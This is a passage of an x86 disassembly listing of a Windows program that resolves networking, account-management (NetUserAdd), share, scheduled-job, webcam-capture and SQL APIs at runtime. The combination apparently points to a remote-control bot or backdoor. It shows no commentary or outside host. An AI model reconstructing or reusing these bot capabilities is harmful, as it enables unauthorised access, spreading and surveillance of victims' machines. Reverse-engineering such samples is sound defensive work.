jmp short loc_408DF7
; ---------------------------------------------------------------------------
loc_408DEC: ; CODE XREF: sub_4089F2+26Aj
call dword_421088
mov dword_43A48C, eax
loc_408DF7: ; CODE XREF: sub_4089F2+3F8j
mov dword_43A488, 1
loc_408E01: ; CODE XREF: sub_4089F2+3F6j
push offset aGdi32_dll ; "gdi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_408ECD
push offset aCreatedca ; "CreateDCA"
push edi
call esi
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_43A3A4, eax
call esi
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_43A3FC, eax
call esi
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_43A404, eax
call esi
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_43A3C0, eax
call esi
push offset aSelectobject ; "SelectObject"
push edi
mov dword_43A2E8, eax
call esi
push offset aBitblt ; "BitBlt"
push edi
mov dword_43A294, eax
call esi
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_43A400, eax
call esi
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_43A280, eax
call esi
cmp dword_43A3A4, ebx
mov dword_43A31C, eax
jz short loc_408ED8
cmp dword_43A3FC, ebx
jz short loc_408ED8
cmp dword_43A404, ebx
jz short loc_408ED8
cmp dword_43A3C0, ebx
jz short loc_408ED8
cmp dword_43A2E8, ebx
jz short loc_408ED8
cmp dword_43A294, ebx
jz short loc_408ED8
cmp dword_43A400, ebx
jz short loc_408ED8
cmp dword_43A280, ebx
jz short loc_408ED8
cmp eax, ebx
jnz short loc_408EE2
jmp short loc_408ED8
; ---------------------------------------------------------------------------
loc_408ECD: ; CODE XREF: sub_4089F2+41Aj
call dword_421088
mov dword_43A494, eax
loc_408ED8: ; CODE XREF: sub_4089F2+49Bj
; sub_4089F2+4A3j ...
mov dword_43A490, 1
loc_408EE2: ; CODE XREF: sub_4089F2+4D7j
mov ebp, dword_4210C0
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40919E
push offset aWsastartup ; "WSAStartup"
push edi
call esi
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_43A330, eax
call esi
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_43A45C, eax
call esi
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_43A2D4, eax
call esi
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_43A2B0, eax
call esi
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_43A364, eax
call esi
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_43A34C, eax
call esi
push offset aSocket ; "socket"
push edi
mov dword_43A318, eax
call esi
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_43A438, eax
call esi
push offset aConnect ; "connect"
push edi
mov dword_43A454, eax
call esi
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_43A360, eax
call esi
push offset aInet_addr ; "inet_addr"
push edi
mov dword_43A444, eax
call esi
push offset aHtons ; "htons"
push edi
mov dword_43A3F8, eax
call esi
push offset aHtonl ; "htonl"
push edi
mov dword_43A3B8, eax
call esi
push offset aNtohs ; "ntohs"
push edi
mov dword_43A3B4, eax
call esi
push offset aNtohl ; "ntohl"
push edi
mov dword_43A2F4, eax
call esi
push offset aSend ; "send"
push edi
mov dword_43A2EC, eax
call esi
push offset aSendto ; "sendto"
push edi
mov dword_43A408, eax
call esi
push offset aRecv ; "recv"
push edi
mov dword_43A41C, eax
call esi
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_43A3D0, eax
call esi
mov dword_43A390, eax
push offset aBind ; "bind"
push edi
call esi
push offset aSelect ; "select"
push edi
mov dword_43A3E4, eax
call esi
push offset aListen ; "listen"
push edi
mov dword_43A3A0, eax
call esi
push offset aAccept ; "accept"
push edi
mov dword_43A3E0, eax
call esi
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_43A44C, eax
call esi
push offset aGetsockname ; "getsockname"
push edi
mov dword_43A398, eax
call esi
push offset aGethostname ; "gethostname"
push edi
mov dword_43A35C, eax
call esi
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_43A3CC, eax
call esi
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_43A43C, eax
call esi
push offset aGetpeername ; "getpeername"
push edi
mov dword_43A370, eax
call esi
push offset aClosesocket ; "closesocket"
push edi
mov dword_43A314, eax
call esi
cmp dword_43A330, ebx
mov dword_43A450, eax
jz loc_4091A9
cmp dword_43A45C, ebx
jz loc_4091A9
cmp dword_43A2D4, ebx
jz loc_4091A9
cmp dword_43A364, ebx
jz loc_4091A9
cmp dword_43A34C, ebx
jz loc_4091A9
cmp dword_43A318, ebx
jz loc_4091A9
cmp dword_43A438, ebx
jz loc_4091A9
cmp dword_43A454, ebx
jz loc_4091A9
cmp dword_43A360, ebx
jz loc_4091A9
cmp dword_43A444, ebx
jz loc_4091A9
cmp dword_43A3F8, ebx
jz loc_4091A9
cmp dword_43A3B8, ebx
jz loc_4091A9
cmp dword_43A3B4, ebx
jz loc_4091A9
cmp dword_43A2F4, ebx
jz short loc_4091A9
cmp dword_43A408, ebx
jz short loc_4091A9
cmp dword_43A41C, ebx
jz short loc_4091A9
cmp dword_43A3D0, ebx
jz short loc_4091A9
cmp dword_43A390, ebx
jz short loc_4091A9
cmp dword_43A3E4, ebx
jz short loc_4091A9
cmp dword_43A3A0, ebx
jz short loc_4091A9
cmp dword_43A3E0, ebx
jz short loc_4091A9
cmp dword_43A44C, ebx
jz short loc_4091A9
cmp dword_43A398, ebx
jz short loc_4091A9
cmp dword_43A35C, ebx
jz short loc_4091A9
cmp dword_43A3CC, ebx
jz short loc_4091A9
cmp dword_43A43C, ebx
jz short loc_4091A9
cmp dword_43A370, ebx
jz short loc_4091A9
cmp eax, ebx
jnz short loc_4091B3
jmp short loc_4091A9
; ---------------------------------------------------------------------------
loc_40919E: ; CODE XREF: sub_4089F2+501j
call dword_421088
mov dword_43A49C, eax
loc_4091A9: ; CODE XREF: sub_4089F2+6A0j
; sub_4089F2+6ACj ...
mov dword_43A498, 1
loc_4091B3: ; CODE XREF: sub_4089F2+7A8j
push offset aWininet_dll ; "wininet.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_4092B8
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_43A2FC, eax
call esi
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_43A288, eax
call esi
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_43A380, eax
call esi
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_43A334, eax
call esi
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_43A38C, eax
call esi
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_43A350, eax
call esi
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_43A2C8, eax
call esi
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_43A2C0, eax
call esi
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_43A2D0, eax
call esi
cmp dword_43A2FC, ebx
mov ecx, dword_43A350
mov dword_43A3EC, eax
jz short loc_409294
cmp dword_43A288, ebx
jz short loc_409294
cmp dword_43A380, ebx
jz short loc_409294
cmp dword_43A334, ebx
jz short loc_409294
cmp dword_43A38C, ebx
jz short loc_409294
cmp ecx, ebx
jz short loc_409294
cmp dword_43A2C8, ebx
jz short loc_409294
cmp dword_43A2C0, ebx
jz short loc_409294
cmp dword_43A2D0, ebx
jz short loc_409294
cmp eax, ebx
jnz short loc_40929E
loc_409294: ; CODE XREF: sub_4089F2+860j
; sub_4089F2+868j ...
mov dword_43A4A0, 1
loc_40929E: ; CODE XREF: sub_4089F2+8A0j
cmp ecx, ebx
jz short loc_4092D3
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx
cmp eax, ebx
mov dword_43A368, eax
jnz short loc_4092D3
jmp short loc_4092CD
; ---------------------------------------------------------------------------
loc_4092B8: ; CODE XREF: sub_4089F2+7CCj
call dword_421088
mov dword_43A4A4, eax
mov dword_43A4A0, 1
loc_4092CD: ; CODE XREF: sub_4089F2+8C4j
mov dword_43A368, ebx
loc_4092D3: ; CODE XREF: sub_4089F2+8AEj
; sub_4089F2+8C2j
push offset aIcmp_dll ; "icmp.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40931D
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_43A344, eax
call esi
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_43A470, eax
call esi
cmp dword_43A344, ebx
mov dword_43A2DC, eax
jz short loc_409328
cmp dword_43A470, ebx
jz short loc_409328
cmp eax, ebx
jnz short loc_409332
jmp short loc_409328
; ---------------------------------------------------------------------------
loc_40931D: ; CODE XREF: sub_4089F2+8ECj
call dword_421088
mov dword_43A4AC, eax
loc_409328: ; CODE XREF: sub_4089F2+91Bj
; sub_4089F2+923j ...
mov dword_43A4A8, 1
loc_409332: ; CODE XREF: sub_4089F2+927j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_409428
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_43A2B8, eax
call esi
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_43A290, eax
call esi
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_43A304, eax
call esi
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_43A338, eax
call esi
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_43A448, eax
call esi
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_43A2F0, eax
call esi
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_43A29C, eax
call esi
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_43A28C, eax
call esi
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_43A320, eax
call esi
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_43A410, eax
call esi
cmp dword_43A2B8, ebx
mov dword_43A3C8, eax
jz short loc_409433
cmp dword_43A290, ebx
jz short loc_409433
cmp dword_43A304, ebx
jz short loc_409433
cmp dword_43A338, ebx
jz short loc_409433
cmp dword_43A448, ebx
jz short loc_409433
cmp dword_43A2F0, ebx
jz short loc_409433
cmp dword_43A29C, ebx
jz short loc_409433
cmp dword_43A28C, ebx
jz short loc_409433
cmp dword_43A320, ebx
jz short loc_409433
cmp dword_43A410, ebx
jz short loc_409433
cmp eax, ebx
jnz short loc_40943D
jmp short loc_409433
; ---------------------------------------------------------------------------
loc_409428: ; CODE XREF: sub_4089F2+94Bj
call dword_421088
mov dword_43A4B4, eax
loc_409433: ; CODE XREF: sub_4089F2+9E6j
; sub_4089F2+9EEj ...
mov dword_43A4B0, 1
loc_40943D: ; CODE XREF: sub_4089F2+A32j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_409472
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_43A2E0, eax
call esi
cmp dword_43A2E0, ebx
mov dword_43A3B0, eax
jz short loc_40947D
cmp eax, ebx
jnz short loc_409487
jmp short loc_40947D
; ---------------------------------------------------------------------------
loc_409472: ; CODE XREF: sub_4089F2+A56j
call dword_421088
mov dword_43A4BC, eax
loc_40947D: ; CODE XREF: sub_4089F2+A78j
; sub_4089F2+A7Ej
mov dword_43A4B8, 1
loc_409487: ; CODE XREF: sub_4089F2+A7Cj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_4094BC
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_43A434, eax
call esi
cmp dword_43A434, ebx
mov dword_43A430, eax
jz short loc_4094C7
cmp eax, ebx
jnz short loc_4094D1
jmp short loc_4094C7
; ---------------------------------------------------------------------------
loc_4094BC: ; CODE XREF: sub_4089F2+AA0j
call dword_421088
mov dword_43A4C4, eax
loc_4094C7: ; CODE XREF: sub_4089F2+AC2j
; sub_4089F2+AC8j
mov dword_43A4C0, 1
loc_4094D1: ; CODE XREF: sub_4089F2+AC6j
push offset aMpr_dll ; "mpr.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_409530
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_43A460, eax
call esi
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_43A458, eax
call esi
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_43A420, eax
call esi
cmp dword_43A460, ebx
mov dword_43A2F8, eax
jz short loc_40953B
cmp dword_43A458, ebx
jz short loc_40953B
cmp dword_43A420, ebx
jz short loc_40953B
cmp eax, ebx
jnz short loc_409545
jmp short loc_40953B
; ---------------------------------------------------------------------------
loc_409530: ; CODE XREF: sub_4089F2+AEAj
call dword_421088
mov dword_43A4CC, eax
loc_40953B: ; CODE XREF: sub_4089F2+B26j
; sub_4089F2+B2Ej ...
mov dword_43A4C8, 1
loc_409545: ; CODE XREF: sub_4089F2+B3Aj
push offset aShell32_dll ; "shell32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40957A
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_43A32C, eax
call esi
cmp dword_43A32C, ebx
mov dword_43A42C, eax
jz short loc_409585
cmp eax, ebx
jnz short loc_40958F
jmp short loc_409585
; ---------------------------------------------------------------------------
loc_40957A: ; CODE XREF: sub_4089F2+B5Ej
call dword_421088
mov dword_43A4D4, eax
loc_409585: ; CODE XREF: sub_4089F2+B80j
; sub_4089F2+B86j
mov dword_43A4D0, 1
loc_40958F: ; CODE XREF: sub_4089F2+B84j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_409618
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_43A3F4, eax
call esi
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_43A440, eax
call esi
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_43A37C, eax
call esi
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_43A33C, eax
call esi
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_43A3D4, eax
call esi
cmp dword_43A3F4, ebx
mov dword_43A348, eax
jz short loc_409623
cmp dword_43A440, ebx
jz short loc_409623
cmp dword_43A37C, ebx
jz short loc_409623
cmp dword_43A33C, ebx
jz short loc_409623
cmp dword_43A3D4, ebx
jz short loc_409623
cmp eax, ebx
jnz short loc_40962D
jmp short loc_409623
; ---------------------------------------------------------------------------
loc_409618: ; CODE XREF: sub_4089F2+BA8j
call dword_421088
mov dword_43A4DC, eax
loc_409623: ; CODE XREF: sub_4089F2+BFEj
; sub_4089F2+C06j ...
mov dword_43A4D8, 1
loc_40962D: ; CODE XREF: sub_4089F2+C22j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_409662
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_43A310, eax
call esi
cmp dword_43A310, ebx
mov dword_43A3E8, eax
jz short loc_40966D
cmp eax, ebx
jnz short loc_409677
jmp short loc_40966D
; ---------------------------------------------------------------------------
loc_409662: ; CODE XREF: sub_4089F2+C46j
call dword_421088
mov dword_43A4E4, eax
loc_40966D: ; CODE XREF: sub_4089F2+C68j
; sub_4089F2+C6Ej
mov dword_43A4E0, 1
loc_409677: ; CODE XREF: sub_4089F2+C6Cj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4089F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40967F proc near ; CODE XREF: sub_40CE55+51F9p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_43A478, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_4096C7
push dword_43A47C
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_4096C7: ; CODE XREF: sub_40967F+1Aj
cmp dword_43A480, esi
jz short loc_4096FB
push dword_43A484
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_4096FB: ; CODE XREF: sub_40967F+4Ej
cmp dword_43A488, esi
jz short loc_40972F
push dword_43A48C
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_40972F: ; CODE XREF: sub_40967F+82j
cmp dword_43A490, esi
jz short loc_409763
push dword_43A494
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_409763: ; CODE XREF: sub_40967F+B6j
cmp dword_43A498, esi
jz short loc_409797
push dword_43A49C
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_409797: ; CODE XREF: sub_40967F+EAj
cmp dword_43A4A0, esi
jz short loc_4097CB
push dword_43A4A4
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_4097CB: ; CODE XREF: sub_40967F+11Ej
cmp dword_43A4A8, esi
jz short loc_4097FF
push dword_43A4AC
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_4097FF: ; CODE XREF: sub_40967F+152j
cmp dword_43A4B0, esi
jz short loc_409833
push dword_43A4B4
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_409833: ; CODE XREF: sub_40967F+186j
cmp dword_43A4B8, esi
jz short loc_409867
push dword_43A4BC
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_409867: ; CODE XREF: sub_40967F+1BAj
cmp dword_43A4C0, esi
jz short loc_40989B
push dword_43A4C4
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_40989B: ; CODE XREF: sub_40967F+1EEj
cmp dword_43A4C8, esi
jz short loc_4098CF
push dword_43A4CC
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_4098CF: ; CODE XREF: sub_40967F+222j
cmp dword_43A4D0, esi
jz short loc_409903
push dword_43A4D4
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_409903: ; CODE XREF: sub_40967F+256j
cmp dword_43A4D8, esi
jz short loc_409937
push dword_43A4DC
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_409937: ; CODE XREF: sub_40967F+28Aj
cmp dword_43A4E0, esi
jz short loc_40996B
push dword_43A4E4
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_40996B: ; CODE XREF: sub_40967F+2BEj
lea eax, [ebp+var_200]
push offset dword_429A0C
push eax
call sub_4154E7
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_409998
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_409998: ; CODE XREF: sub_40967F+302j
lea eax, [ebp+var_200]
push eax
call sub_40B16D
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40967F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4099AA proc near ; CODE XREF: sub_40CE55+C50p
; sub_40CE55+C84p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_409A35
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_409A35
cmp [ebp+arg_8], esi
jz short loc_409A35
cmp byte ptr [eax], 0
jz short loc_409A35
push ebx
push edi
call sub_41FD7B
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_409A30
push [ebp+arg_4]
push edi
call sub_415AC0
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_409A29
sub eax, edi
push eax
push edi
push ebx
call sub_416D40
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_415CF0
push eax
push [ebp+arg_8]
push ebx
call sub_416F10
push [ebp+arg_4]
call sub_415CF0
add eax, esi
push eax
push ebx
call sub_415C10
push ebx
push edi
call sub_415C00
add esp, 30h
mov esi, edi
loc_409A29: ; CODE XREF: sub_4099AA+3Cj
push ebx
call sub_415E3D
pop ecx
loc_409A30: ; CODE XREF: sub_4099AA+2Bj
mov eax, esi
pop ebx
jmp short loc_409A37
; ---------------------------------------------------------------------------
loc_409A35: ; CODE XREF: sub_4099AA+Cj
; sub_4099AA+13j ...
xor eax, eax
loc_409A37: ; CODE XREF: sub_4099AA+89j
pop edi
pop esi
pop ebp
retn
sub_4099AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409A3B proc near ; CODE XREF: sub_40CCDD+E9p
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_415570
mov esi, [ebp+arg_0]
push esi
call sub_415CF0
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_409A71
or eax, 0FFFFFFFFh
jmp short loc_409AE4
; ---------------------------------------------------------------------------
loc_409A71: ; CODE XREF: sub_409A3B+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_409A93
loc_409A7D: ; CODE XREF: sub_409A3B+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_409A8A
cmp dl, 0Dh
jnz short loc_409A8E
loc_409A8A: ; CODE XREF: sub_409A3B+48j
and byte ptr [ecx+esi], 0
loc_409A8E: ; CODE XREF: sub_409A3B+4Dj
inc ecx
cmp ecx, eax
jl short loc_409A7D
loc_409A93: ; CODE XREF: sub_409A3B+40j
xor edx, edx
push edi
test eax, eax
jle short loc_409AC4
lea edi, [ebp+var_7CC]
loc_409AA0: ; CODE XREF: sub_409A3B+87j
cmp byte ptr [edx+esi], 0
jnz short loc_409ABF
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_409ABF
cmp ebx, 1F4h
jge short loc_409AC4
mov [edi], ecx
inc ebx
add edi, 4
loc_409ABF: ; CODE XREF: sub_409A3B+69j
; sub_409A3B+74j
inc edx
cmp edx, eax
jl short loc_409AA0
loc_409AC4: ; CODE XREF: sub_409A3B+5Dj
; sub_409A3B+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_409AE2
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_4155D0
add esp, 0Ch
loc_409AE2: ; CODE XREF: sub_409A3B+8Ej
mov eax, ebx
loc_409AE4: ; CODE XREF: sub_409A3B+34j
pop esi
pop ebx
leave
retn
sub_409A3B endp
; =============== S U B R O U T I N E =======================================
sub_409AE8 proc near ; CODE XREF: sub_409B42+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_409B21
push ebx
mov ebx, edi
loc_409B05: ; CODE XREF: sub_409AE8+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_409B24
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_409B05
pop ebx
loc_409B21: ; CODE XREF: sub_409AE8+18j
pop edi
pop esi
retn
sub_409AE8 endp
; =============== S U B R O U T I N E =======================================
sub_409B24 proc near ; CODE XREF: sub_409AE8+25p
; sub_409B42+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_417193
cmp al, 61h
pop ecx
jl short loc_409B3F
cmp al, 7Ah
jg short loc_409B3F
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_409B3F: ; CODE XREF: sub_409B24+Ej
; sub_409B24+12j
xor eax, eax
retn
sub_409B24 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409B42 proc near ; CODE XREF: sub_40B24D+10p
; sub_40B27F+A0p
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_415D70
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_415CF0
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_415CF0
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_409AE8
add esp, 14h
dec esi
mov edi, esi
loc_409B80: ; CODE XREF: sub_409B42+B6j
test esi, esi
jle short loc_409BFE
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_417193
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_417193
pop ecx
cmp eax, ebx
pop ecx
jz short loc_409BF6
loc_409BA6: ; CODE XREF: sub_409B42+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_409B24
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_409BC7
mov eax, ecx
loc_409BC7: ; CODE XREF: sub_409B42+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_409BFA
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_417193
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_417193
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_409BA6
loc_409BF6: ; CODE XREF: sub_409B42+62j
dec edi
dec esi
jmp short loc_409B80
; ---------------------------------------------------------------------------
loc_409BFA: ; CODE XREF: sub_409B42+8Aj
xor eax, eax
jmp short loc_409C03
; ---------------------------------------------------------------------------
loc_409BFE: ; CODE XREF: sub_409B42+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_409C03: ; CODE XREF: sub_409B42+BAj
pop edi
pop esi
